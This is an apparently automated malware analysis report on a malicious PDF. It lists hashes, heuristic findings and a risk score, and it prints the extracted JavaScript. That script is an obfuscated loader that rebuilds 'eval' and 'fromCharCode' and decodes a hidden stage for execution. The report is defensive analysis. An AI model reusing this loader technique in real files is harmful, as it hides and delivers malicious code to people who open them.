Malicious PDF — malware analysis report

Static analysis result for SHA-256 e22b66bf13278eaa…

MALICIOUS

PDF

45.2 KB Authoring application: substr First seen: 2013-08-29
MD5: 577de3cede9bc3634ba4c62d73616067 SHA-1: 176252ab00516e1c8761ec690cbef0c309d0f954 SHA-256: e22b66bf13278eaa0277d2ada8e3402411e13b3898d6e27b1e858cfa13422b7c
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB225 432 bytes
SHA-256: 1608fc3e70d4a8ae8a0cfd3edde15f3577f4f064c207242707ffcc60e25755e9
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
sfy=e('ti'.concat(v[4],t));
q=sfy[v](a.length-6,a.length+2);
jrhpc=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=sfy[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	dbjcj = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(jrhpc(dbjcj));
	i++;
}
e(s2);

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